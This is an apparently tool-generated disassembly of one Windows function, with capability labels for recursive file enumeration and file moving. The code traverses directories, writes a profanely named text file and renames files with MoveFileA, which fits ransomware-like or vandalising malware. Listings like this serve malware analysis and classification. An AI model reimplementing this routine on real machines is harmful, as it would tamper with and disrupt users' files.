Function at 0x140001290
Capabilities:
Enumerate files on windows
Enumerate files recursively
Move file

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2c0]
sub rsp, 0x3c0
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rbp + 0x2b0], rax
mov r12, rdx
mov qword [rbp - 0x48], rcx
mov rsi, qword [rdx + 0x10]
movabs r13, 0x7fffffffffffffff
mov rax, r13
sub rax, rsi
cmp rax, 2
jb 0x140001c47
mov r15, rdx
cmp qword [rdx + 0x18], 0xf
jbe 0x1400012f2
mov r15, qword [rdx]
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x30], xmm1
lea r14, [rsi + 2]
mov ebx, 0xf
lea rdi, [rbp + 0x20]
movabs rax, 0x8000000000000000
mov ecx, 0x16
cmp r14, rbx
jbe 0x14000138c
mov rbx, r14
or rbx, 0xf
cmp rbx, r13
jbe 0x140001354
mov rbx, r13
add rax, 0x27
mov rcx, rax
call fcn.1400048e0
test rax, rax
je 0x140001bc7
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001388
cmp rbx, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140001368
xor edi, edi
jmp 0x140001388
cmp rcx, 0x1000
jb 0x140001380
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001c3b
jmp 0x140001335
call fcn.1400048e0
mov rdi, rax
mov qword [rbp + 0x20], rdi
mov qword [rbp + 0x30], r14
mov qword [rbp + 0x38], rbx
mov r8, rsi
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov word [rdi + rsi], 0x2a5c
mov byte [rdi + r14], 0
lea rcx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rcx, qword [rbp + 0x20]
lea rdx, [rbp + 0x170]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov qword [rsp + 0x70], rax
cmp rax, 0xffffffffffffffff
je 0x140001b95
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x60]
call sub.VCRUNTIME140.dll_memset
mov r14, qword [r12 + 0x10]
mov rcx, r13
sub rcx, r14
cmp rcx, 0x15
jb 0x140001c4d
mov r15, r12
cmp qword [r12 + 0x18], 0xf
jbe 0x14000140c
mov r15, qword [r12]
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
lea rsi, [r14 + 0x15]
mov ebx, 0xf
lea rdi, [rsp + 0x78]
cmp rsi, rbx
jbe 0x1400014ad
mov rbx, rsi
or rbx, 0xf
cmp rbx, r13
jbe 0x140001467
mov rbx, r13
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400048e0
test rax, rax
je 0x140001499
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400014a8
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140001481
xor edi, edi
jmp 0x1400014a8
cmp rcx, 0x1000
jb 0x1400014a0
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001c41
jmp 0x14000144c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400048e0
mov rdi, rax
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x70], rbx
mov r8, r14
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [str.EBANA_NAHUY_EPTA.txt]
movups xmmword [r14 + rdi], xmm0
mov eax, dword [0x140006538]
mov dword [r14 + rdi + 0x10], eax
movzx eax, byte [0x14000653c]
mov byte [r14 + rdi + 0x14], al
mov byte [rdi + rsi], 0
mov r8d, 2
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x60]
call fcn.140003310
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x14000153e
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001539
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001539
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004924
movdqa xmm0, xmmword [0x140006680]
movdqu xmmword [rbp - 0x78], xmm0
mov byte [rsp + 0x78], 0
lea rcx, [rbp + 0x60]
call fcn.140003c90
xor edi, edi
mov r13d, edi
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x50], rdi
lea rax, [rbp + 0x19c]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140001580
lea rdx, [rbp + 0x19c]
lea rcx, [rbp - 0x68]
call fcn.140003f60
lea rax, [rbp - 0x68]
mov rcx, qword [rbp - 0x68]
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
cmova rax, rcx
mov r8, qword [rbp - 0x58]
cmp r8, 1
jne 0x1400015c2
cmp byte [rax], 0x2e
sete al
test al, al
jne 0x1400015e0
lea rax, [rbp - 0x68]
cmp rdx, 0xf
cmova rax, rcx
cmp r8, 2
jne 0x1400015e4
cmp word [rax], 0x2e2e
sete al
test al, al
je 0x1400015e4
mov bl, 1
jmp 0x1400015e6
xor bl, bl
cmp rdx, 0xf
jbe 0x140001619
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001614
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001bff
call fcn.140004924
test bl, bl
jne 0x140001a9a
mov rsi, qword [r12 + 0x10]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rsi
cmp rax, 1
jb 0x140001c35
mov r15, r12
cmp qword [r12 + 0x18], 0xf
jbe 0x14000164f
mov r15, qword [r12]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rdi
lea r14, [rsi + 1]
mov ebx, 0xf
lea rdi, [rsp + 0x30]
cmp r14, rbx
jbe 0x1400016ef
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x140001693
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x1400016c3
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x1400016ad
xor edi, edi
jmp 0x1400016ea
cmp rcx, 0x1000
jb 0x1400016e2
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001c53
mov rcx, rax
call fcn.1400048e0
test rax, rax
je 0x140001bce
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400016ea
call fcn.1400048e0
mov rdi, rax
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], rbx
mov r8, rsi
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0x5c
mov byte [rdi + r14], 0
lea rax, [rbp + 0x19c]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140001720
lea rdx, [rbp + 0x19c]
lea rcx, [rsp + 0x30]
call fcn.1400038c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
xor ebx, ebx
mov qword [rbp + 0x50], rbx
mov qword [rbp + 0x58], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x50], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400017a6
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400017a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001bd5
call fcn.140004924
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov edx, r13d
inc r13d
lea rcx, [rbp - 0x20]
call fcn.140003ab0
nop
mov r14, qword [r12 + 0x10]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r14
cmp rax, 1
jb 0x140001c5f
mov r15, r12
cmp qword [r12 + 0x18], 0xf
jbe 0x1400017f7
mov r15, qword [r12]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbx
lea rsi, [r14 + 1]
mov ebx, 0xf
lea rdi, [rsp + 0x50]
cmp rsi, rbx
jbe 0x140001897
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x14000183b
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14000186b
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140001855
xor edi, edi
jmp 0x140001892
cmp rcx, 0x1000
jb 0x14000188a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001c59
mov rcx, rax
call fcn.1400048e0
test rax, rax
je 0x140001bdc
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001892
call fcn.1400048e0
mov rdi, rax
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rbx
mov r8, r14
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0x5c
mov byte [rdi + rsi], 0
mov rbx, qword [rbp - 0x48]
lea rdx, [rbx + 0x20]
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x1400018ce
mov rdx, qword [rdx]
lea rcx, [rsp + 0x50]
call fcn.1400038c0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
xor edi, edi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
lea r9, [rbp - 0x20]
lea r8, [rbp - 0x40]
lea rcx, [rbp]
call fcn.140004380
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140001946
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001940
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001be3
call fcn.140004924
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140001983
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000197e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001bea
call fcn.140004924
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x1400019d1
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400019cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001bf1
call fcn.140004924
lea rdx, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova rdx, qword [rbp]
lea rcx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0xf
cmova rcx, qword [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
je 0x140001a14
lea rdx, [rbp]
test byte [rbp + 0x170], 0x10
je 0x140001a0e
mov rcx, rbx
call fcn.140001290
jmp 0x140001a14
call fcn.140001c70
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x140001a4f
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a4a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001bf8
call fcn.140004924
mov qword [rbp + 0x10], rdi
mov qword [rbp + 0x18], 0xf
mov byte [rbp], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x140001a9a
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a95
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001bff
call fcn.140004924
lea rdx, [rbp + 0x170]
mov rbx, qword [rsp + 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140001560
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rcx, [rbp + 0x68]
call fcn.140003800
test rax, rax
jne 0x140001aec
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x60]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x60], rax
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x5c], edx
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0xe8], 0
je 0x140001b60
lea rcx, [rbp + 0xd8]
mov rax, qword [rbp + 0x80]
cmp qword [rax], rcx
jne 0x140001b60
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0xf0]
mov qword [rax], rcx
mov rax, qword [rbp + 0xa0]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp + 0xb8]
mov dword [rax], edx
cmp byte [rbp + 0xe4], 0
je 0x140001b72
lea rcx, [rbp + 0x68]
call fcn.140003800
lea rcx, [rbp + 0x68]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x70]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x108]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x140001c0b
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c06
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001c06
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140004924
mov rcx, qword [rbp + 0x2b0]
xor rcx, rsp
call fcn.1400048c0
mov rbx, qword [rsp + 0x410]
add rsp, 0x3c0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1400011b0
nop
call fcn.140001110
nop
call fcn.140001110
nop
call fcn.1400011b0
nop
call fcn.1400011b0
nop
call fcn.140001110
nop
call fcn.140001110
int3
call fcn.1400011b0
int3